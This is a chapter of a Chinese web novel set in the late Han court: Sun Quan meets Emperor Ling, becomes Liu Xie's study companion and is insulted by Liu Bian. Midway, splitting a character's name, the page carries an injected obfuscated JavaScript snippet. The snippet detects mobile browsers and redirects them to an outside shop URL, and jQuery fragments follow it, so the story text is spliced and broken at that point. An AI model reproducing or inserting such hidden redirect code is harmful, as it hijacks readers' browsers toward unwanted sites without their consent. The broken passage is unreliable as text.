83. 第 83 章
作品:《【三国】江东无鼠辈》 雒阳的皇宫恢弘非常。
孙权和孙坚站在一座殿宇外的廊下。孙权站得笔直,齐肩正容,双手自然下垂,目光微微下垂,神情恭敬。
如今已是二月中旬,可雒阳的天还冷得紧,比庐江冷得多。一阵寒风吹过,刺骨地冷。
他已经等了半个时辰,脸和手都冻得木木地疼。
他悄悄往四下看了一眼,见无人注意,便飞快地将手往袖子里缩了缩,让僵硬的指尖贴着里衬。
等手恢复了些温度,他才将手抽出来,重新垂在身侧。
孙坚注意到了身边次子的动静,他什么都没说,只上前半步,正好替孙权挡住了风。
又过了一刻钟,殿内终于传来脚步声。
一个小黄门推门而出,躬身道:“春亭侯、左中郎将孙坚,陛下宣您和公子觐见。”
孙坚整了整衣冠,低头看了一眼孙权,见他衣领有些歪了,随手将衣领整理好,又轻轻按了按他的肩,这才和他一前一后,迈入宫殿。
一进入殿内,便觉温暖如春,殿内的熏炉里燃着香,暖意裹着香气漫过来,让人浑身一松。可那香气里,似乎还混着一丝若有若无的药味。
孙权悄悄吸了吸鼻子,仔细辨认。
在舒县时,他曾和虞翻一起研习过药理,虽不算精通,却也认得几味。可这殿中的香气太过驳杂,药味混在其中若有若无,他努力分辨了一会儿,还是没能分辨出那是什么药材,只能作罢。
孙权跟在孙坚身后,走到殿中适当的位置停下。
天子似乎刚下朝不久,他身上还穿着玄色朝服,整个人斜靠在龙椅上,像是累极了。
灵帝刘宏。
孙权只在直播间弹幕里见过这个名字,此刻终于见到了真人。
天子正值壮年,论岁数,比孙坚还要小上两岁,可比起孙坚那副精神奕奕的模样,这位天子的面容却有些浮肿,眼底下还有一抹掩盖不住的乌青,整个人看起来没什么精神。
孙权不敢多看,只飞快地扫了一眼,便垂下眼睛。
孙坚正了正衣冠,向北而跪,俯身额头触地,稍顷方起:“臣孙坚,叩见陛下。”
“臣孙权,叩见陛下。”孙权也照样一礼。
刘宏摆了摆手:“起来吧。”
他先看向孙坚,嘴角微微扬起:“孙文台,你在凉州的事,朕都听说了。狄道四十余日,以寡敌众,杀得羌人胆寒......不错,很不错。”
孙坚垂首回道:“臣分内之事,不敢当陛下谬赞。”
“分内之事?”刘宏笑了一声:“那些在朝堂上夸夸其谈的人,朕见得多了。真能打仗的,却没几个,你是个有本事的。”
孙坚再次跪谢。
刘宏的目光这才落到孙权身上。
他上下打量着这个才五岁的孩子,忽然笑了:“这便是你那个造出拼音法的儿子?”
“正是犬子孙权。”
“过来。”刘宏朝孙权招了招手。
孙权走上前几步,仰头看着皇帝,想起李先隆的叮嘱,他适时地流露出一抹属于孩童的好奇之色。
刘宏盯着他看了一会儿,忽然问道:“你可知你造的那拼音法,让多少人识字容易了许多?”
孙权想了想,老老实实答道:“臣知道的。李师同臣说过拼音法的好处。可那不过是臣一时灵感偶得,从不曾想过竟能有这般大的益处。如今蒙陛下厚赏,又被天下人称赞,臣实在愧不敢当。”
刘宏愣了一下,随即哈哈大笑起来:“你口中的李师,便是庐江那位李先生吧?他倒是慧眼识珠。”
他笑够了,又指了指桌案上的一卷纸:“还有你那造出的新纸,价廉物美,确实比简牍方便得多。黄香小时候被人称作天下无双,其实不过是会哄他父亲睡觉罢了,你比他强得多。”
孙权不知道该接什么话,便只能再次拜谢。
刘宏也没想等他回答,只是朝旁边挥了挥手。
“把董侯叫来。”
====
蕫侯便是皇子刘协,他来得很快。
孙权只见一个和自己高半个头的男孩从侧门走进来,衣着比寻常孩子华丽得多,却并不张扬。他走到御前,规规矩矩地行了礼,然后抬起头。
孙权一下子看清了他的脸。
那是一张很好看的脸——眉眼清秀,鼻梁挺直,嘴角微微抿着,带着几分不属于这个年纪的沉静。他的眉眼和刘宏极为相似,只是刘宏的眉眼间带着困倦和疲惫,而他的眼睛,清澈得像一汪泉水。
“协儿,”见到刘协,刘宏的声音难得柔和了些,指着孙权道:“这是春亭侯、左中郎将孙坚的儿子,叫孙权。以后就让他陪你读书,可好?”
刘协转头看向孙权。
他的目光落在孙权身上,然后恭恭敬敬地答道:“儿臣谨遵父皇安排。”
刘宏似乎很满意,又叮嘱了几句,便摆了摆手:“朕与你春亭侯还有事要商议。协儿,你带他去看看以后读书的地方。”
刘协应了一声,走到孙权面前,轻声道:“跟我来罢。”
孙权又看向孙坚,孙坚朝他点了点头。
他便跟着刘协,走出了大殿。
两个孩子一前一后走在宫廊里。
“那里,”他忽然停下脚步,抬起手,指向不远处一处朱墙碧瓦的宫殿:“是永乐宫,太后住的地方,我也住在那边。日后你若有要事,可以去那里找我。”
走过永乐宫,再穿过一道月门,便到了宫学邸。
刘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204277|191352||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
协停下脚步,回头看他:“就是这里了。皇子和一些宗室子弟,都在此处读书。”
孙权点了点头,正想说话,却忽然听到前面传来一阵脚步声,紧接着,一个略显粗重的声音响起:
“哟,这不是董侯吗?”
孙权抬头看去,只见一个少年站在廊道拐角处,挡住了去路。他比刘协高出一大截,也胖出一圈,穿着华丽得有些张扬的衣裳,腰间还挂着好几块玉佩,走动时叮当作响。
皇子刘辩,也是史侯。
孙权的第一反应是:他和刘宏长得真不像。
如果说刘协像皇帝是精雕细琢的玉,那刘辩就像是从另一块粗胚上随意敲下来的石料。五官说不上丑,却也没什么出彩的地方,配上那个有些圆润的身形,站在刘协面前,竟显得有些丑陋。
“皇兄。”刘协微微欠身,语气寻常,听不出恭敬,也没有谦卑。
刘辩的目光落在孙权身上,上上下下打量了一遍,嘴角扯出一个讥笑:“这就是你新来的陪读?听说是吴郡那个乡下地方来的泥腿子?”
刘协眉头微不可察地蹙了一下:“皇兄,此乃春亭侯之子。春亭侯凉州平叛有功,先前又平黄巾之祸,你我今日能安稳站在这里,全凭春亭侯这些将士保疆卫土。”
他身子站得笔直,目光不卑不亢地迎上刘辩:“皇兄不该对其子无礼。”
刘辩的脸腾地涨红了:“我可是皇后嫡子,你敢这么对我说话?”
刘协面色不改,语气仍是那副不急不缓的调子:“弟只是就事论事。父皇让我带他来看看学堂,皇兄若无他事,我便带他去看学堂了。告辞!”
说罢也不管刘辩脸色如何,只朝他行了一礼,便绕过他,径直朝学堂里走去。
孙权对着刘辩恭恭敬敬行礼后,便转身小跑几步,追上了刘协。
身后传来刘辩气急败坏的声音,隐隐约约听不真切。
孙权看着前面刘协的背影,心下一沉。
一直走到听不见那声音了,刘协才停下脚步,转过身来。
“那是我皇兄,”他轻声道,语气里听不出什么情绪:“皇后嫡子,与我向来不对付。”
他顿了顿,目光落在孙权脸上,多了几分认真:
“今日我让他难堪了,他记恨在心,怕是会迁怒于你。你最好不要单独与他遇上。若他真对你不利,你就来永乐宫找我,我定会为你做主。”
孙权点了点头:“臣定当小心。”
见孙权应下,刘协转过身去,指着面前的学堂,语气比方才轻松了些:
“这里便是平日里上学的地方。除了你之外,还有几个伴读,等你正式来上学了就能见到。都是好相处的人。”
孙权认真地点头,一一记下。

